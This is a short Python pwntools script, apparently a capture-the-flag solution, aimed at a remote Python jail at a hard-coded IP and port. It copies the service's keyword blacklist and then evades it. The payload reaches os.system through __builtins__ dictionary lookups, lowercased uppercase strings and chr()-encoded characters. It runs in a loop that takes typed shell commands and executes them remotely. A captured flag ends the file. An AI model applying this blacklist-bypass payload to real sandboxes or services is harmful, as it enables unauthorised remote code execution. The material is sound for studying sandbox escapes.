from pwn import *

blacklisted = ['cat','grep','nano','import','eval','subprocess','input','sys','execfile','open','exec','for','dir','file','input','write','while','echo','print','int','os','read']

ip = '143.198.184.186'
port = 45458

proc = remote(ip, port)
print(proc.recv().decode('latin-1'))

def valid(cmd):
	safe = True
	for char in str(cmd):
		if not (ord(char)>=33 and ord(char)<=126):
			safe = False
			print('Badchar !! '+char)
	for badword in blacklisted:
		if badword in str(cmd):
			safe = False
			print("You used a bad word!")
	return safe


def rce():
	# Get User Input
	data = input().strip("\n")

	# Payload
	final = b"__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]("
	for i in range(len(data)-1):
		final += bytes('chr('+str(ord(data[i]))+')+', 'utf-8')
	final += bytes('chr('+str(ord(data[len(data)-1]))+')', 'utf-8')
	final += b")"	
	if valid(final):
		# Send Payload
		proc.sendline(final)
		# Print Response
		print(proc.recv().decode('latin-1'))
	else:
		print("You used a bad word!")

while(True):
	rce()
	
# kqctf{0h_h0w_1_w4n7_70_br34k_fr33_2398d89vj3nsoicifh3bdoq1b39049v}